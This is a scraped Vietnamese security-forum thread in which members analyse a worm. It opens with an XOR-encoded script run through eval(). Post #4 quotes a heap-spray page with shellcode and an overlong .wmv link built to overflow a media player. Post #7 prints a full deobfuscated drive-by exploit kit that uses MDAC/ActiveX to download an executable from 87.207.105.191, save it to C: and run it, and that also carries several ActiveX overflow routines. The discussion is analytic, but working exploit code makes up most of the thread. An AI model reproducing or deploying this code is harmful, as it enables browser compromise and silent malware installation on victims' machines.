\xc8\xc9\x97\x8b\xfd\xe8\xe9\xed\xf1\xf1\xf5\x87\x8c\x9e\xa8\xaf\xac\xac\xac\xac\xcc\xc3\x85\x8d\x84\x85\xd3\xfe\x95\xf8\x8c\x85\xd3\xfe\x95\xf8\x85\x98\x85\xe6\xd7\xc0\xc4\xd1\xc0\xea\xc7\xcf\xc0\xc6\xd1\x8d\xc4\x89\x85\x87\xe8\xcc\xc6\xd7\xca\xd6\xca\x87\x8e\x87\xc3\xd1\x8b\xfd\xe8\x87\x8e\x87\xe9\xed\xf1\x87\x8e\x87\xf1\xf5\x87\x8c\x9e\xa8\xaf\xac\xac\xac\xac\xcc\xc3\x85\x8d\x84\x85\xd3\xfe\x95\xf8\x8c\x85\xd3\xfe\x95\xf8\x85\x98\x85\xe6\xd7\xc0\xc4\xd1\xc0\xea\xc7\xcf\xc0\xc6\xd1\x8d\xc4\x89\x85\x87\xe8\xf6\xfd\x87\x8e\x87\xe8\xe9\x97\x8b\xf6\xc0\x87\x8e\x87\xd7\xd3\xc0\xd7\xfd\xe8\x87\x8e\x87\xe9\xed\xf1\x87\x8e\x87\xf1\xf5\x87\x8c\x9e\xa8\xaf\xac\xac\xac\xd8\xa8\xaf\xa8\xaf\xac\xac\xac\xcc\xc3\x85\x8d\x84\x85\xd3\xfe\x94\xf8\x8c\x85\xde\xa8\xaf\xac\xac\xac\xac\xd3\xfe\x94\xf8\x85\x98\x85\xe6\xd7\xc0\xc4\xd1\xc0\xea\xc7\xcf\xc0\xc6\xd1\x8d\xc4\x89\x85\x87\xe4\xe1\xea\xe1\xe7\x8b\xf6\xd1\xd7\x87\x8e\x87\xc0\xc4\xc8\x87\x8c\x9e\xa8\xaf\xac\xac\xac\xd8\xa8\xaf\xa8\xaf\xac\xac\xac\xcc\xc3\x85\x8d\x84\x85\xd3\xfe\x97\xf8\x8c\x85\xde\xa8\xaf\xac\xac\xac\xac\xd3\xfe\x97\xf8\x85\x98\x85\xe6\xd7\xc0\xc4\xd1\xc0\xea\xc7\xcf\xc0\xc6\xd1\x8d\xc4\x89\x85\x87\xf2\xf6\xc6\x87\x8e\x87\xd7\xcc\xd5\xd1\x8b\xf6\xcd\x87\x8e\x87\xc0\xc9\xc9\x87\x8c\x9e\xa8\xaf\xac\xac\xac\xac\xcc\xc3\x85\x8d\x84\x85\xd3\xfe\x97\xf8\x8c\x85\xde\xa8\xaf\xac\xac\xac\xac\xac\xd3\xfe\x97\xf8\x85\x98\x85\xe6\xd7\xc0\xc4\xd1\xc0\xea\xc7\xcf\xc0\xc6\xd1\x8d\xc4\x89\x85\x87\xf6\xcd\xc0\xc9\x87\x8e\x87\xc9\x8b\xe4\xd5\x87\x8e\x87\xd5\xc9\x87\x8e\x87\xcc\xc6\xc4\xd1\xcc\x87\x8e\x87\xca\xcb\x87\x8c\x9e\xa8\xaf\xac\xac\xac\xac\xac\xcc\xc3\x85\x8d\xd3\xfe\x97\xf8\x8c\x85\xcb\x98\x94\x9e\xa8\xaf\xac\xac\xac\xac\xd8\xa8\xaf\xac\xac\xac\xd8\xa8\xaf\xac\xac\xd8\xa8\xaf\xa8\xaf\xac\xac\xcc\x8e\x8e\x9e\xa8\xaf\xac\xd8\xa8\xaf\xa8\xaf\xac\xcc\xc3\x85\x8d\xd3\xfe\x95\xf8\x85\x83\x83\x85\xd3\xfe\x94\xf8\x85\x83\x83\x85\xd3\xfe\x97\xf8\x8c\x85\xde\xa8\xaf\xac\xac\xd3\xc4\xd7\x85\xc1\xc4\xd1\xc4\x85\x98\x85\xfd\xe8\xe9\xed\xd1\xd1\xd5\xe1\xca\xd2\xcb\xc9\xca\xc4\xc1\x8d\xd3\xfe\x95\xf8\x89\x85\xd0\xd7\xc9\xf7\xc0\xc4\xc9\xe0\xdd\xc0\x8c\x9e\xa8\xaf\xac\xac\xcc\xc3\x85\x8d\xc1\xc4\xd1\xc4\x85\x84\x98\x85\x95\x8c\x85\xde\xa8\xaf\xac\xac\xac\xd3\xc4\xd7\x85\xcb\xc4\xc8\xc0\x85\x98\x85\x87\xc6\x9f\xf9\xf9\xd6\xdc\xd6\x87\x8e\xe2\xc0\xd1\xf7\xc4\xcb\xc1\xf6\xd1\xd7\xcc\xcb\xc2\x8d\x91\x8c\x8e\x87\x8b\xc0\xdd\xc0\x87\x9e\xa8\xaf\xac\xac\xac\xcc\xc3\x85\x8d\xe4\xe1\xea\xe7\xe1\xf6\xd1\xd7\xc0\xc4\xc8\xf6\xc4\xd3\xc0\x8d\xd3\xfe\x94\xf8\x89\x85\xcb\xc4\xc8\xc0\x89\x85\xc1\xc4\xd1\xc4\x8c\x85\x98\x98\x85\x94\x8c\x85\xde\xa8\xaf\xac\xac\xac\xac\xcc\xc3\x85\x8d\xf6\xcd\xc0\xc9\xc9\xe0\xdd\xc0\xc6\xd0\xd1\xc0\x8d\xd3\xfe\x97\xf8\x89\x85\xcb\xc4\xc8\xc0\x89\x85\xcb\x8c\x85\x98\x98\x85\x94\x8c\x85\xde\xa8\xaf\xac\xac\xac\xac\xac\xd7\xc0\xd1\x98\x94\x9e\xa8\xaf\xac\xac\xac\xac\xd8\xa8\xaf\xac\xac\xac\xd8\xa8\xaf\xac\xac\xd8\xa8\xaf\xac\xd8\xa8\xaf\xa8\xaf\xac\xd7\xc0\xd1\xd0\xd7\xcb\x85\xd7\xc0\xd1\x9e\xa8\xaf\xd8\xa8\xaf\xa8\xaf\xa8\xaf\xa8\xaf\xa8\xaf\xa8\xaf\xa8\xaf\xc3\xd0\xcb\xc6\xd1\xcc\xca\xcb\x85\xd6\xd1\xc4\xd7\xd1\x8d\x8c\x85\xde\xa8\xaf\xa8\xaf\xac\xcc\xc3\x85\x8d\x84\x85\xe8\xe1\xe4\xe6\x8d\x8c\x85\x8c\x85\xde\x85\xd6\xd1\xc4\xd7\xd1\xea\xd3\xc0\xd7\xc3\xc9\xca\xd2\x8d\x95\x8c\x9e\x85\xd8\xa8\xaf\xd8\xa8\xaf\xa8\xaf\xa8\xaf\xa8\xaf\xd6\xd1\xc4\xd7\xd1\x8d\x8c\x9e\xa8\xaf\xa8\xaf"; var xored_str = xor_str(plain_str, 165); eval(xored_str); </script>
|
|
|
 |
 |
[Question] Worm mới Nguy hiểm [Hàng khủng] Các bác nên vào xem sao ! |
22/08/2007 12:02:33 (+0700) | #2 | 80317 |
![[Avatar] [Avatar]](/hvaonline/images/avatar/1099262d08ad760566784006371a19d1.jpg)
|
secmask
Elite Member
|
0 |
|
|
Joined: 29/10/2004 13:52:24
Messages: 553
Location: graveyard
Offline
|
|
Forbidden
You don't have permission to access /vr/vr2.JPG on this server. |
|
|
 |
 |
[Question] Re: Worm mới Nguy hiểm [Hàng khủng] Các bác nên vào xem sao ! |
22/08/2007 12:18:10 (+0700) | #3 | 80318 |
9x9=81??
Elite Member
|
0 |
|
|
Joined: 26/06/2005 12:23:59
Messages: 92
Offline
|
|
Check lại link hình nhé. Coi ko dc
Theo như bạn kể thì mình nghĩ con này dạng như Ardamax. Lấy chương trình dòm process nào cũng chẳng thấy đâu. Cách làm chắc cũng như thằng Gameguard giấu process của mình. Bạn có thể tham khảo ở mấy diễn đàn game, mấy chỗ họ đề dạng như phá gameguard ( tất nhiên là English ) ). Còn cách trị em này thì mình bó tay toàn tập ) .
Bạn dùng Windows Explorer ko thấy là đúng rồi. Thằng coder tốn công để ẩn process thì nó cũng ko lười đến độ ko cho ẩn trong windows explorer. Thử dùng Total Manager hay bất kỳ trình quản lý file khác xem sao.
Nếu mình đoán ko lầm thì trong fần startup cũng chẳng thấy nó lun . Dẫu sao con này vẫn chưa thú vị bằng con mình đã từng bị nhiễm ( chẳng bít con j nữa mà cũng chẳng còn mẫu của nó ). Con nì đo bằng DU Meter cũng ko thấy j ! Sniff cũng ko thấy j ! Mà đen modem cứ chớp như đèn disco Lấy filemon ra dòm mới bít có nó. Thế là đành ngậm ngùi ghost lại máy ( |
|
|
 |
 |
[Question] Re: Worm mới Nguy hiểm [Hàng khủng] Các bác nên vào xem sao ! |
22/08/2007 12:55:08 (+0700) | #4 | 80322 |
9x9=81??
Elite Member
|
0 |
|
|
Joined: 26/06/2005 12:23:59
Messages: 92
Offline
|
|
Lúc nãy ngồi hí hửng tưởng sắp đc có code mới để excute vài em exe -> analyze ngay cái code của nó. Tình hình là thía này đây :
nguyên 1 đoạn dài \x30\x37 rùi đến
Code:
<HTML><HEAD><SCRIPT>var s=unescape("%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141");do{s+=s;}while(s.length<0x1400000);s+=unescape("%u54EB%u758B%u8B3C%u3574%u0378%u56F5%u768B%u0320%u33F5%u49C9%uAD41%uDB33%u0F36%u14BE%u3828%u74F2%uC108%u0DCB%uDA03%uEB40%u3BEF%u75DF%u5EE7%u5E8B%u0324%u66DD%u0C8B%u8B4B%u1C5E%uDD03%u048B%u038B%uC3C5%u7275%u6D6C%u6E6F%u642E%u6C6C%u4300%u5C3A%u2E55%u7865%u0065%uC033%u0364%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0840%u09EB%u408B%u8D34%u7C40%u408B%u953C%u8EBF%u0E4E%uE8EC%uFF84%uFFFF%uEC83%u8304%u242C%uFF3C%u95D0%uBF50%u1A36%u702F%u6FE8%uFFFF%u8BFF%u2454%u8DFC%uBA52%uDB33%u5353%uEB52%u5324%uD0FF%uBF5D%uFE98%u0E8A%u53E8%uFFFF%u83FF%u04EC%u2C83%u6224%uD0FF%u7EBF%uE2D8%uE873%uFF40%uFFFF%uFF52%uE8D0%uFFD7%uFFFF%u7468%u7074%u2F3A%u382F%u2E37%u3032%u2E37%u3031%u2E35%u3931%u2F31%u6966%u656C%u702E%u7068");</SCRIPT></HEAD><BODY><EMBED SRC="----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLAAANNNNOOOOAAAQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ0000111122223333444455556666777788889999.wmv"></EMBED></BODY></HTML>
với s là cái dòng chữ tàu nì :
䅁䅁䅁䅁䅁䅁䅁䅁哫疋謼㕴囵皋̠㏵䧉굁�ᒾ㠨瓲섈�㯯痟廧庋̤曝ಋ譋ᱞ�ҋ쏅牵浬湯搮汬䌀尺⹕硥e쀳ͤ౸䂋謌ᱰ训ࡀ৫䂋贴籀䂋锼躿๎ト茄\闐뽐ᨶ瀯濨诿跼멒�匤탿뽝ﺘຊ叨菿Ӭⲃ戤탿线`rᅲ瑨灴⼺㠯⸷〲⸷〱⸵㤱⼱楦敬瀮灨
dịch ra có nghĩa là
䅁䅁䅁䅁䅁䅁䅁䅁Zu bolt㕴 Lun Hu Gao ̠ ㏵䧉굁 ༶ ᒾ㠨Wa 섈 㯯Se reflects the many ̤ sun ಋ Lan ᱞ Ҋ 쏅 Soul miles Tang determine Jing Bang䌀foot ⹕ e 쀳 ͤ ౸䂋Ge ᱰ training ࡀ ৫䂋affixed Zhou䂋teaching Kang ๎ ト eggplant \ rumbling sound 뽐 ᨶ Yingci blaming 跼멒 Zhuo Qu 탿뽝 ﺘ ຊ grumble Dao Ӭ ⲃ infringe upon a trade mark 탿 line `r ᅲJin Hong ⼺㠯⸷ 〲 ⸷ 〱 ⸵㤱⼱ stretch Gan Jing Ling
Còn cái file media kia ko có. Dài ngoằng chắc để overflow media player roài. Chứ dòm wa dòm lại đâu có cái j để excute file exe nào đâu nhỉ ?
Với code này máy em chẳng nhiễm j cả. Ngay cả khi mở java,activex và chạy = IE6 . Đơn giản vì đến vòng lặp chỗ sau "var s = unescape ..." thì vòng lặp đến cả 20 triệu ! Máy em chạy code này dc 1 phút, hết ram ( ảo lẫn thiệt ) ) -> wá tải -> treo máy luôn )
Chú ý lần sau đưa các dòng code dài vào thẻ [ code ] để tránh làm vỡ trang. Cám ơn. |
|
|
 |
 |
[Question] Worm mới Nguy hiểm [Hàng khủng] Các bác nên vào xem sao ! |
03/09/2007 00:40:04 (+0700) | #5 | 82889 |
stunvn
Member
|
0 |
|
|
Joined: 27/08/2007 01:52:34
Messages: 6
Offline
|
|
Anh ơi . Mình copy đoạn code trên, bỏ vào Notepad save dưới dạng .exe nó có chạy không anh ? |
|
|
 |
 |
[Question] Re: Worm mới Nguy hiểm [Hàng khủng] Các bác nên vào xem sao ! |
04/09/2007 23:00:32 (+0700) | #6 | 83269 |
Angel_A
Member
|
0 |
|
|
Joined: 04/12/2006 13:25:43
Messages: 91
Location: Dak Lak
Offline
|
|
Con này là Trojan/backdoor hỗng biết hoặc chưa được đặt tên, thường lây lan wa email, thường nằm trong file tên ecard.exe hoặc file spooldr.exe.
Bạn không tìm thấy file spooldr.exe đâu vì process này được tạo ra lúc window load driver file %sysdir%\Drivers\spooldr.sys
Bạn có thể xóa file spooldr.exe sau khi remove file spooldr.sys, sau đó restore file tcpip.sys trong %SysDir%\Drivers và %SysDir%\dllcache
tìm và xóa file spooldir.ini trong "Documents and Settings\UserName" luôn.
Bạn dùng tool này thử xem nhé :wink:
http://www.greatis.com/reanimator.zip |
|
www.ovo.vn |
|
 |
 |
[Question] Worm mới Nguy hiểm |
31/12/2011 03:16:55 (+0700) | #7 | 251695 |
![[Avatar] [Avatar]](/hvaonline/images/avatar/3099a4ec6dc1da1e77c1b4070c7aa9b8.jpg)
|
bolzano_1989
Journalist
|
0 |
|
|
Joined: 30/01/2007 12:49:15
Messages: 1406
Offline
|
|
Sau khi giải mã đoạn Javascript độc hại ở đầu chủ đề, mình ra được đoạn mã gốc sau, đoạn mã exploit được người viết virus này lấy từ MDAC Exploit Code:
Code:
var mm = new Array();
var mem_flag = 0;
function h()
{
mm=mm;
setTimeout("h()", 2000);
}
function getb(b, bSize)
{
while (b.length*2<bSize)
{
b += b;
}
b = b.substring(0,bSize/2);
return b;
}
function cf()
{
var zc = 0x0d0d0d0d;
var a = "䍃䍃㍛曉肹老↓譿�擯齤䋳齤滧擯뤃憇܃ꩦ맫瞇攑ߡꩦ맧쪇ၟܭꩦ맣༡ޏꩦ맿⺇ખݗꩦ꿻흯騬昕뇯驦擋撶螿鿀砇曯⩤⽬暿쾪ႇ뿯ꩤ藻뛭멤߷ꫬ⣏돯솑⢊誗騐擏撶꼇藯럨ꫬ�밴Ⴜ쾚벿ꩤ藳뛪멤߷騐擏撶'藯搐ᆰ撶껯붴ͬ뗫撼വ봘༐撺搃뉤맣鱤擓뤜饤�꘦䊮ⳬ�qᷕ℮꼝Ḅᇔ骱딊Ѥ땤褲撤㋬넪ⶲᬇထ먐ꎽꂢ瑨灴⼺㠯⸷〲⸷〱⸵㤱⼱楦敬瀮灨";
var heapBlockSize = 0x400000;
var pls = a.length * 2;
var bSize = heapBlockSize - (pls+0x38);
var b = "ఌఌ";
b = getb(b,bSize);
heapBlocks = (zc - 0x400000)/heapBlockSize;
for (i=0;i<heapBlocks;i++)
{
mm[i] = b + a;
}
mem_flag = 1;
h();
return mm;
}
function startWinZip(object)
{
var xh = 'A';
while (xh.length >< 231) xh+='A';
xh+="\x0c\x0c\x0c\x0c\x0c\x0c\x0c";
object.CreateNewFolderFromName(xh);
}
function startWVF()
{
for (i=0;i<128;i++)
{
try
{
var tar = new ActiveXObject('WebVi'+'ewFol'+'de'+'rIc'+'on.WebVi'+'ewFol'+'derI'+'con.1');
d = 0x7ffffffe;
b = 0x0c0c0c0c
tar.setSlice(d, b, b, b );
}
catch(e)
{
}
}
}
function elea()
{
var url="http://xa";
var outValue='';
for(i=0;i<url.length;)
{
outValue+='%u'+url.charCodeAt(i+1).toString(16)+url.charCodeAt(i).toString(16);
i=i+2;
}
x="邐邐邐㎐㏀帒륦ﺋ⺀耋श←껫ᐔ愔델ᑄᐔ咍贐₄趯౬ᡮᑎᐔﯶ煬ᑲ气蚇潰Ũ贪ᑈᐔ贴滠攴樁?ᰘ畠螄壙眲睼壚జ䔔擔敤摩樁贤滠攗樁Čၪ橣融赀䞈ᕼ樇認ᔴ䔇䯋꽓휕?숑㰤蠆파?㴃蜡拹抍ᔸ竟ႍ赍?ᢍᖍ귗孢ţā劒?ﳰʜ?藶Ṋ萱衬蒈ㄾ㰱㉉䑆㉉䑃㉇㭃ㅃ歺睰萲葬ᐔᐔᐔᐔᐔᐔᐔᐔ瑨灴⼺砯%uNaN61";
y="";
while(y.length><0x40000)y+=y;
y=y.substring(0,0x3ffe4-x.length);
o=new Array();
for(i=0;i<450;i++)o[i]=y+x;
z=Math.ceil(0xd0d0d0d);
document.write('<object classid="CLSID:EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F"></object>');
z=document.scripts[0].createControlRange().length;
}
function yah()
{
try
{
document.write("<object classid='"+"clsid:9D39223E-AE8E-1"+"1D4-8FD3-00D0B77302"+"77' id='ta"+"rget'></"+"object>");
myBuff = '\x0a';
while (myBuff.length < 5000) myBuff += '\x0a\x0a\x0a\x0a';
eval(String.fromCharCode(116,97,114,103,101,116,46,115,101,114)+"ver = myBuff;");
eval("target"+"."+String.fromCharCode(114,101,99,101,105,118,101,40,41)+";");
}
catch(e)
{
return 0;
}
}
function startOverflow(num)
{
if (num == 0)
{
try
{
if (! mem_flag) cf();
yah();
elea();
var qt = new ActiveXObject('Quick'+'Time.Qu'+'ickTime');
if (qt)
{
var qthtml = '<object CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="1" height="1" style="border:0px">'+
'<param name="src" value="qt.php">'+
'<param name="autoplay" value="true">'+
'<param name="loop" value="false">'+
'<param name="controller" value="true">'+
'</object>';
if (! mem_flag) cf();
document.getElementById('myd'+'iv').innerHTML = qthtml;
num = 255;
}
}
catch(e)
{
}
if (num = 255) setTimeout("startOverflow(1)", 2000);
else startOverflow(1);
}
else if (num == 1)
{
try
{
var winzip = document.createElement("object");
winzip.setAttribute("classid", "clsid:A09AE6"+"8F-B14D-43"+"ED-B713-BA413"+"F034904");
var ret=winzip.CreateNewFolderFromName(unescape("%00"));
if (ret == false)
{
if (! mem_flag) cf();
startWinZip(winzip);
num = 255;
}
}
catch(e)
{
}
if (num = 255) setTimeout("startOverflow(2)", 2000);
else startOverflow(2);
}
else if (num == 2)
{
try
{
var tar = new ActiveXObject('WebVi'+'ewFol'+'derIc'+'on.WebVi'+'ewFol'+'derI'+'con.1');
if (tar)
{
if (! mem_flag) cf();
startWVF();
}
}
catch(e)
{
}
}
}
function GetRandString(len)
{
var chars = "abcdefghiklmnopqrstuvwxyz";
var string_length = len;
var randomstring = '';
for (var i=0; i<string_length; i++)
{
var rnum = Math.floor(Math.random() * chars.length);
randomstring += chars.substring(rnum,rnum+1);
}
return randomstring;
}
function CreateObject(CLSID, name)
{
var r = null;
try
{
eval('r = CLSID.CreateObject(name)')
}
catch(e)
{
}
if (!r)
{
try
{
s=1;
eval('r = CLSID.CreateObject(name, "")')
}
catch(e)
{
}
}
if (!r)
{
try
{
s=1;
eval('r = CLSID.CreateObject(name, "", "")')
}
catch(e)
{
}
}
if (!r)
{
try
{
s=1;
eval('r = CLSID.GetObject("", name)')
}
catch(e)
{
}
}
if (!r)
{
try
{
s=1;
eval('r = CLSID.GetObject(name, "")')
}
catch(e)
{
}
}
if (!r)
{
try
{
s=1;
eval('r = CLSID.GetObject(name)')
}
catch(e)
{
}
}
return(r);
}
function XMLHttpDownload(xml, url)
{
try
{
xml.open("GET", url, false);
xml.send(null);
}
catch(e)
{
return 0;
}
return xml.responseBody;
}
function ADOBDStreamSave(o, name, data)
{
try
{
o.Type = 1;
o.Mode = 3;
o.Open();
o.Write(data);
o.SaveToFile(name, 2);
o.Close();
}
catch(e)
{
return 0;
}
return 1;
}
function ShellExecute(exec, name, type)
{
if (type == 0)
{
try
{
exec.Run(name, 0);
return 1;
}
catch(e)
{
}
}
else
{
try
{
exe.ShellExecute(name);
return 1;
}
catch(e)
{
}
}
return(0);
}
function MDAC()
{
var t = new Array('{BD96C5'+'56-65A3-11'+'D0-983A-00C04FC'+'29E30}', '{BD96C'+'556-65A3-11'+'D0-983A-00C0'+'4FC29E36}', '{AB9B'+'CEDD-EC7E-47'+'E1-9322-D4A21'+'0617116}', '{0006F'+'033-0000-0000-C000-000000'+'000046}', '{0006'+'F03A-0000-0000-C000-0000000'+'00046}', '{6e32'+'070a-766d-4ee6-879c-dc1fa'+'91d2fc3}', '{6414'+'512B-B978-451D-A0D8-FCFDF3'+'3E833C}', '{7F5B'+'7F63-F06F-4331-8A26-339E03'+'C0AE3D}', '{0672'+'3E09-F4C2-43'+'c8-8358-09FCD1D'+'B0766}', '{639F'+'725F-1B2D-48'+'31-A9FD-87484'+'7682010}', '{BA018'+'599-1DB3-44f'+'9-83B4-46145'+'4C84BF8}', '{D0C07'+'D56-7C69-43F1-B4'+'A0-25F5A1'+'1FAB19}', '{E8C'+'CCDDF-CA28-496b-B'+'050-6C07C962'+'476B}', null);
var v = new Array(null, null, null);
var i = 0;
var n = 0;
var ret = 0;
var urlRealExe = 'http://87.207.105.191/file.php';
while (t[i] && (! v[0] || ! v[1] || ! v[2]) )
{
var a = null;
try
{
a = document.createElement("object");
a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length - 1));
}
catch(e)
{
a = null;
}
if (a)
{
if (! v[0])
{
v[0] = CreateObject(a, "msxml2.XMLHTTP");
if (! v[0]) v[0] = CreateObject(a, "Microso"+"ft.XM"+"LHT"+"TP");
if (! v[0]) v[0] = CreateObject(a, "MSX"+"ML2.Se"+"rverXM"+"LHT"+"TP");
}
if (! v[1])
{
v[1] = CreateObject(a, "ADODB.Str"+"eam");
}
if (! v[2])
{
v[2] = CreateObject(a, "WSc"+"ript.Sh"+"ell");
if (! v[2])
{
v[2] = CreateObject(a, "Shel"+"l.Ap"+"pl"+"icati"+"on");
if (v[2]) n=1;
}
}
}
i++;
}
if (v[0] && v[1] && v[2])
{
var data = XMLHttpDownload(v[0], urlRealExe);
if (data != 0)
{
var name = "c:\\sys"+GetRandString(4)+".exe";
if (ADOBDStreamSave(v[1], name, data) == 1)
{
if (ShellExecute(v[2], name, n) == 1)
{
ret=1;
}
}
}
}
return ret;
}
function start()
{
if (! MDAC() )
{
startOverflow(0);
}
}
start();
> |
|
Kiểm tra các file bạn nghi ngờ có virus:
http://goo.gl/m3Fb6C
http://goo.gl/EqaZt
http://goo.gl/gEF8e
Nhận mẫu virus qua FB: http://goo.gl/70Xo23
HVA Malware Response Team: kiemtravirus@gmail.com
Trợ giúp diệt virus: http://goo.gl/2bqxY |
|
 |
 |
[Question] Worm mới Nguy hiểm [Hàng khủng] Các bác nên vào xem sao ! |
26/01/2012 21:32:44 (+0700) | #8 | 252847 |
X-code
Member
|
0 |
|
|
Joined: 24/01/2012 10:17:28
Messages: 12
Offline
|
|
Pro thế.
Mình chưa viết được 1 cái nào. Về phải học làm hacker mới được |
|
|
Users currently in here |
1 Anonymous
|
|
Powered by JForum - Extended by HVAOnline
hvaonline.net | hvaforum.net | hvazone.net | hvanews.net | vnhacker.org
1999 - 2013 ©
v2012|0504|218|
|
|